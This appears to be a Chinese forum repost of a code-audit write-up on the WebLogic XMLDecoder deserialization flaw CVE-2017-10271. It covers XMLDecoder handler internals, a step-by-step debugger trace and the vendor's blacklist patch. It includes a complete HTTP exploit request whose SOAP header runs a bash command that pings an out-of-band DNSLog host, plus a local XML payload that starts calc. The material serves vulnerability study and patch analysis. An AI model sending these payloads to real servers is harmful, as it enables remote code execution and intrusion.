WebLogic历史漏洞代码审计(二):WebLogic-XMLDecoder反序列化漏洞分析 ...

打印 上一主题 下一主题

主题 518|帖子 518|积分 1554

WebLogic历史漏洞代码审计(二):WebLogic-XMLDecoder反序列化漏洞分析



  

简介

Weblogic反序列化高危漏洞主要涉及到两个种类:
1、利用xml decoded反序列化举行长途代码执行的漏洞,例如:
CVE-2017-10271,CVE-2017-3506
2、利用java反序列化举行长途代码执行的漏洞,例如:
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-
2018-2894
本章主要讲CVE-2017-10271,CVE-2017-3506的代码分析
以上一篇文章搭建的CVE-2017-10271审计环境为例,我将CVE-2017-10271的利用链分为两部分
第一部分利用链为WorkContextServerTube#processRequest到WorkContextXmlInputAdapter#readUTF
即为/wls-wsat/CoordinatorPortType路径接收POC到其被xmldecoder.readobject调用
第二部分利用链为xmldecoder.readobject触发反序列化从而执行命令的过程

前置知识

漏洞成因

漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,焦点就是XMLDecoder的反序列化漏洞,Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞,所以我们主要研究第二部分利用链xmldecoker是如何导致命令执行的。
打开wls-wsat.war!/WEB-INF/web.xml,可以发现存在漏洞的 wls-wsat 组件中包含不同的路由,均能触发漏洞,我们第一个利用链的接收路径即为图中的/wls-wsat/CoordinatorPortType

XMLEncoder&XMLDecoder

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,利用 XMLEncoder 来生成表现 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取利用 XMLEncoder 创建的XML文档获取JavaBeans。
说白了这两个类的主要功能就是序列化与反序列化,其调用了readobject与writeobject方法来实现功能
XML标签、属性介绍

string标签

hello,xml字符串的表现方式为<string>Hello,xml</string>
object标签

通过 标签表现对象, class 属性指定具体类(用于调用其内部方法),method 属性指定具体方法名称(比如构造函数的的方法名为 new )
new JButton(“Hello,xml”) 对应的XML文档:
  1. <object class="javax.swing.JButton" method="new">
  2.     <string>Hello,xml</string>
  3. </object>
复制代码
void标签

通过 void 标签表现函数调用、赋值等操纵, method 属性指定具体的方法名称。
JButton b = new JButton();b.setText(“Hello, world”); 对应的XML文档:
  1. <object class="javax.swing.JButton">
  2.     <void method="setText">
  3.     <string>Hello,xml</string>
  4.     </void>
  5. </object>
复制代码
array标签

通过 array 标签表现数组, class 属性指定具体类,内部 void 标签的 index 属性表现根据指定数组索引赋值。
String[] s = new String[3];s[1] = “Hello,xml”; 对应的XML文档:
  1. <array class="java.lang.String" length="3">
  2.     <void index="1">
  3.     <string>Hello,xml</string>
  4.   </void>
  5. </array>
复制代码
XMLDecoder利用的是SAX解析规范

SAX是简朴XML访问接口,是一套XML解析规范,利用事件驱动的设计模式,那么事件驱动的设计模式自然就会有事件源和事件处置惩罚器以及相关的注册方法将事件源和事件处置惩罚器毗连起来。
图片来自:https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ

本章第二部分利用链即为通过JAXP的工厂方法生成SAX对象,SAX对象利用SAXParser.parer()作为事件源,ContentHandler、ErrorHandler、DTDHandler、EntityResolver作为事件处置惩罚器,通过注册方法将二者毗连起来。
apache xerces

apache xerces是XMLDecoder解析XML时的一个重要组件。
apache xerces是一个用于解析XML中有哪些标签,语法是否合法的解析器,官方在JDK1.5便集成了此解析器并作为XML的默认解析器。
在XML序列化数据传达至XMLDecoder.readObject() 方法举行反序列化等操纵后,便会传递给xerces举行解析,在xerces解析完毕后数据便会交给DocumentHandler完成后续的操纵,如果是JDK1.6便会交给ObjectHandler举行处置惩罚。
DocumentHandler

DocumentHandler(com.sun.beans.decoder.DocumentHandler)在XMLDecoder处置惩罚XML数据时起到事件处置惩罚器的作用,它在JDK1.7中被实现。
它会跟进传入的XML标签,属性等信息调用不同的Handler举行事件处置惩罚
我们针对XMLDecoder的反序列化攻击便是传入特定的XML序列化数据由DocumentHandler举行事件处置惩罚,进而实现RCE等攻击。
下图是jdk8 DocumentHandler中所界说的各种标签的处置惩罚办法。

各种handler的处置惩罚机制分析

只有相识handler的处置惩罚机制才会知道不同handler是如何处置惩罚完xml并将其构造为具体的代码并实验的
不同的XML标签对应着不同的handler,也就对应着不同的处置惩罚机制。
大多数handler都有addAttribute方法,这个方法主要用于提取标签中的属性并举行处置惩罚;
以及getValueObject方法,这个方法主要用于获取标签的值。
JavaElementHandler

处置惩罚java标签的Handler,var1对应着属性名,var2对应着属性值,java标签会根据class属性中的值举行类加载,也就是**this.type = this.getOwner().findClass(var2);**的作用

NewElementHandler

处置惩罚New标签的Handler,也会举行类加载操纵,不外NewElementHandler是很多handler的父类(如ArrayElementHandler,ObjectElementHandler),这就意味着NewElementHandler的子类也可以举行类加载,因为addAttribute中的else逻辑,不存在的属性名从父类找

ObjectElementHandler

处置惩罚Object标签的Handler,为NewElementHandler的子类,也可以举行类加载

VoidElementHandler

处置惩罚Void标签的Handler,为ObjectElementHandler的子类,所以基本功能都一样


CVE-2017-10271

POC

发送POC后去DNSLog网站看看,ping通了代表复现成功
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 127.0.0.1:7001
  3. accept: */*
  4. Connection: close
  5. Content-Length: 843
  6. Content-Type: text/xml
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7
  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  11.   <soapenv:Header>
  12.     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13.         <java version="1.8.0_131" class="java.beans.XMLDecoder">
  14.           <void class="java.lang.ProcessBuilder">
  15.             <array class="java.lang.String" length="3">
  16.               <void index="0">
  17.                 <string>/bin/bash</string>
  18.               </void>
  19.               <void index="1">
  20.                 <string>-c</string>
  21.               </void>
  22.               <void index="2">
  23.                 <string>ping dwbvvusntnkyqbscaeas4woks5gq9g503.oast.fun</string>
  24.               </void>
  25.             </array>
  26.           <void method="start"/></void>
  27.         </java>
  28.       </work:WorkContext>
  29.     </soapenv:Header>
  30.   <soapenv:Body/>
  31. </soapenv:Envelope>
复制代码
第一部分利用链调试分析

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
1,如下图打上断点,启动调试

2,burp发包,由于上一篇搭建的是本机的docker环境,发本机指定的7001端口(weblogic的运行端口)即可

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
3,发包后自动跳转到调试界面,开始调试
这里的var1即为我们发送的恶意SOAP(xml)数据,var2是数据中的headers,var3则是获取var2的数组中的第一个StreamHeader得到的数据,并将其传入readHeaderOld函数中

weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
4,var4 的字节数组输入流传入 WorkContextXmlInputAdapter 的构造函数,var4即为我们的xml数据中执行命令的xml数据


weblogic.wsee.workarea.WorkContextXmlInputAdapter#WorkContextXmlInputAdapter
5,将var1中的xml输入流传入XMLDecoder的构造函数中,构造函数会将其保存在in属性中


对比XMLDecoder.in与var1中的buf可知字节输入流传入进去了

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive
6,接着返回到第4步,返回一个包含XMLDecoder数据的WorkContextXmlInputAdapter var6实例对象,其实就是对var4举行了一个类型转化,并将其传入receive中

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive
7,将其传入receiveRequest中,继续跟进

weblogic.workarea.WorkContextMapImpl#receiveRequest
8,被传递到 WorkContextLocalMap 类的 receiveRequest中,继续跟进

weblogic.workarea.WorkContextLocalMap#receiveRequest
9,传入readEntry中,继续跟进

weblogic.workarea.spi.WorkContextEntry
10,继续跟进readUTF

11,到这一步调用了var0的xmlDecoder.readObject方法,开始反序列化,第一部分调用链到此为止

这一部分利用链主要实现了两个功能,其一为将传入的SOAP形式的XML数据过滤并赋值给受害机的XMLDecoder实例对象中,其二为触发这个XMLDecoder的readobject方法(可以得知在构造POC时需要写SOAP形式的恶意XML数据)
可以参考下这个demo,本质上等同于第一部分利用链实现的全部功能,有助于各人的进一步理解,1.xml即为恶意XML代码
  1. package xml;
  2. import java.beans.XMLDecoder;
  3. import java.io.BufferedInputStream;
  4. import java.io.FileInputStream;
  5. import java.io.FileNotFoundException;
  6. public class XmlDecoder {
  7.     public static void main(String[] args) throws FileNotFoundException {
  8.         XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("C:\\Users\\86137\\Desktop\\Maven3-jdk8\\1.xml")));
  9.         Object result = d.readObject();
  10.         System.out.println(result);
  11.         d.close();
  12.     }
  13. }
复制代码
1.xml
  1. <java>
  2.     <object class="java.lang.ProcessBuilder">
  3.         <array class="java.lang.String" length="1">
  4.             <void index="0">
  5.                 <string>calc</string>
  6.             </void>
  7.         </array>
  8.         <void method="start"></void>
  9.     </object>
  10. </java>
复制代码
第二部分利用链调试分析

第二部分在Maven3-jdk8项目环境下的demo(上面给的谁人demo)举行调试分析了,poc也换为1.xml,方便进一步分析
XMLDecoder处置惩罚xml的流程为 :XMLDecoder.readObject() ->xerces解析->DocumentHandler事件处置惩罚
xml.XmlDecoder
1,调试界面如图所示,因为demo就是第一部分利用链的复现,所以直接对demo举行本地调试,长途调试实在麻烦,,能本地还是本地吧

java.beans.XMLDecoder#readObject
2,进入readObject,其调用了parsingComplete(),继续跟进


com.sun.beans.decoder.DocumentHandler#parse
3,根据前置知识中的(XMLDecoder利用的是SAX解析规范)可知,xmldecoder解析xml数据是利用SAX对象的SAXParser.parer() 作为事件源来举行解析,这行代码就是利用SAXParser工厂创建一个SAX对象,并调用其解析方法

此中DocumentHandler.this就是对XML标签举行解析处置惩罚的Handler合集

com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl#parse
4,这里设置了Handler,继续根据parse

com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl.JAXPSAXParser#parse
5,进入到重载的parse,继续跟进

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#parse
6,将inputSource赋值给xmlInputSource,继续跟进

com.sun.org.apache.xerces.internal.parsers.XMLParser#parse
7,继续跟进parse解析

com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse
8,继续跟进parse(boolean)解析

com.sun.org.apache.xerces.internal.parsers.XML11Configuration#parse(boolean)
9,跟进到scanDocument中

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
10,由此进入到xerces解析的流程,可见do…while循环包含着switch…case与next(),由此来实现对xml标签的遍历,这里有个要注意的点,如图中的switch…case下面的代码都被解释掉了,真正的标签抉择是在next()中实现的
在如下图的next()上打断点,跟进


com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next
11,跟进两次next,到包含switch…case的PrologDriver#next,这才是真正对标签举行便利筛选的地方


12,在如下图所示打上断点,分别为识别到结束标签与识别到开始标签时需要跟进的地方,由此可以大概理解解析标签的设计思绪:
先举行几次循环,先遇见开始标签,将其push标签堆fElementStack中,并将其传入startelement,根据标签名将其传入对应的Handler举行实例化,并通过链表的形式将一个个父子毗连在一起,对应xml的标签之间的包含形式,当第n次循环时,第一次遇见结束标签,利用pop从fElementStack得到与startelement对应的标签,传入endelement,并调用getValueObject得到标签中的数据,传入Handler中。


com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanStartElement
13,从第一个开始标签<java>,fElementQName.setValues将name=“java”添加进fElementStack中

com.sun.beans.decoder.DocumentHandler#startElement
14,跟进到startelement,可知其先跟进传入的var3来得到对应的javaelement实例,并设置Owner与Parent,方便下一个循环来毗连成链表,之后在for循环中将标签中的属性名与属性值添加进去

15,遇到第二个开始标签<Object>,设置完Owner与Parent,进入到循环中,将其属性名与属性值参加Handler中


com.sun.beans.decoder.ObjectElementHandler#addAttribute
16,知识前缀提到过,ObjectElementHandler自己不能举行类加载,所以要调用父类NewElementHandler举行类加载

com.sun.beans.decoder.NewElementHandler#addAttribute

com.sun.beans.decoder.ElementHandler#endElement
17,直到遇见第一个结束标签</String>时,会调用endElement,并通过getValueObject获取对应标签中的数据

com.sun.beans.decoder.StringElementHandler#getValueObject
18,this.sb即为存储的数据,将其赋值给this.value,并返回一个ValueObjectImpl的实例


com.sun.beans.decoder.ElementHandler#endElement
19,将返回的ValueObjectImpl实例赋值给var1后,var1取出value添加到<String>标签的父标签<Void>的handler也就是VoidElementHandler的Arguments数组中


com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanEndElement
20,接下来再处置惩罚</void>标签,通过next()中的switch…case,进入到scanEndElement,并pop之前创建的标签堆从而对称的得出与startelelment对应的标签名

21,调用VoidElementHandler的getValueObject(),void的handler没有getValueObject()现实上是调用父类的父类NewElementHandler的getValueObject()


com.sun.beans.decoder.NewElementHandler#getValueObject()
22,由于第19步将<string>标签的值传入VoidElementHandler的arguments,所以该标签带有数据,需要进一步组装数据

com.sun.beans.decoder.ObjectElementHandler#getValueObject
23,这里的多个if检测<void>的属性名,以此来判定该<void>标签的作用,这里会停止在代码58行,标签的作用为数组元素的排序数,var4=set,并new一个Expression(表达式),传入set赋值给var5,并通过var5.getValue()来执行set方法将calc传入array
由第2,3张图片可知,图1的56行getContextBean是调用父类的type属性,即第16的图二标签中“class”属性名对应的属性值“java.lang.String”




com.sun.beans.decoder.ElementHandler#endElement
24,接下来再处置惩罚</array>标签,将“calc”参加父类ObjectElementHandler的Arguments数组中

com.sun.beans.decoder.ObjectElementHandler#getValueObject
25,接下来再处置惩罚</void>标签,还是如23先用getContextBean() 获取父标签“class”属性名对应的属性值“java.lang.ProcessBuilder”,并获取Value值“calc”,并返回ProcessBuilder的实例对象Var2

com.sun.beans.decoder.ElementHandler#getContextBean
26,跟进getContextBean() ,发现他调用了ObjectElementHandler的getValueObject

com.sun.beans.decoder.ObjectElementHandler#getValueObject
27,由于ObjectElementHandler的method为空,把new作为Var4代入Expression表达式,得到new ProcessBuilder(“calc”)

28,返回到getValueObject,<void>标签的method为“start”,将var3=new ProcessBuilder(“calc”),var4=“start”,代入Expression构造中,拼接为new ProcessBuilder(“calc”).start(),再通过getValue启动start方法,命令执行,结束

漏洞修补方法

CVE-2017-10271的补丁是把黑名单补全,可见除了object,还有method,new,array等标签都被做了处置惩罚。
object,new,method标签直接被ban,void属性只能设置index,array的class只能设置为byte类型。
  1. private void validate(InputStream is) {
  2.    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
  3.    try {
  4.       SAXParser parser = factory.newSAXParser();
  5.       parser.parse(is, new DefaultHandler() {
  6.          private int overallarraylength = 0;
  7.          public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
  8.             if(qName.equalsIgnoreCase("object")) {
  9.                throw new IllegalStateException("Invalid element qName:object");
  10.             } else if(qName.equalsIgnoreCase("new")) {
  11.                throw new IllegalStateException("Invalid element qName:new");
  12.             } else if(qName.equalsIgnoreCase("method")) {
  13.                throw new IllegalStateException("Invalid element qName:method");
  14.             } else {
  15.                if(qName.equalsIgnoreCase("void")) {
  16.                   for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
  17.                      if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
  18.                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
  19.                      }
  20.                   }
  21.                }
  22.                if(qName.equalsIgnoreCase("array")) {
  23.                   String var9 = attributes.getValue("class");
  24.                   if(var9 != null && !var9.equalsIgnoreCase("byte")) {
  25.                      throw new IllegalStateException("The value of class attribute is not valid for array element.");
  26.                   }
复制代码
补丁绕过
大概思绪见我下面推荐的大佬建议,得靠各人自己研究了

总结

本篇文章为了方便各人理解,基本把全部的历程跟进都截图了进去,如果以为麻烦,可以看完我的解析,对自己想相识的地方打断点即可,尤其是next谁人地方,很轻易搞乱,建议多看几次
xmldecoder就是利用栈与链数据结论实现对xml数据的对象化映射,将其拼接到Expression表现式再利用反射去执行方法
参考文档

https://www.freebuf.com/vuls/303796.html
https://www.freebuf.com/articles/web/363612.html
https://xz.aliyun.com/t/8465?time__1311=n4%2BxuDgDBDyDnDfhYxlxGhb7eWy1tQCeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-7
https://da22le.github.io/java-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/
https://cloud.tencent.com/developer/article/1957183(强烈推荐多看看大佬的,这是唯一一个将xmldecoder全部基本组件都讲清楚并以此逐步分析的)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

天津储鑫盛钢材现货供应商

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表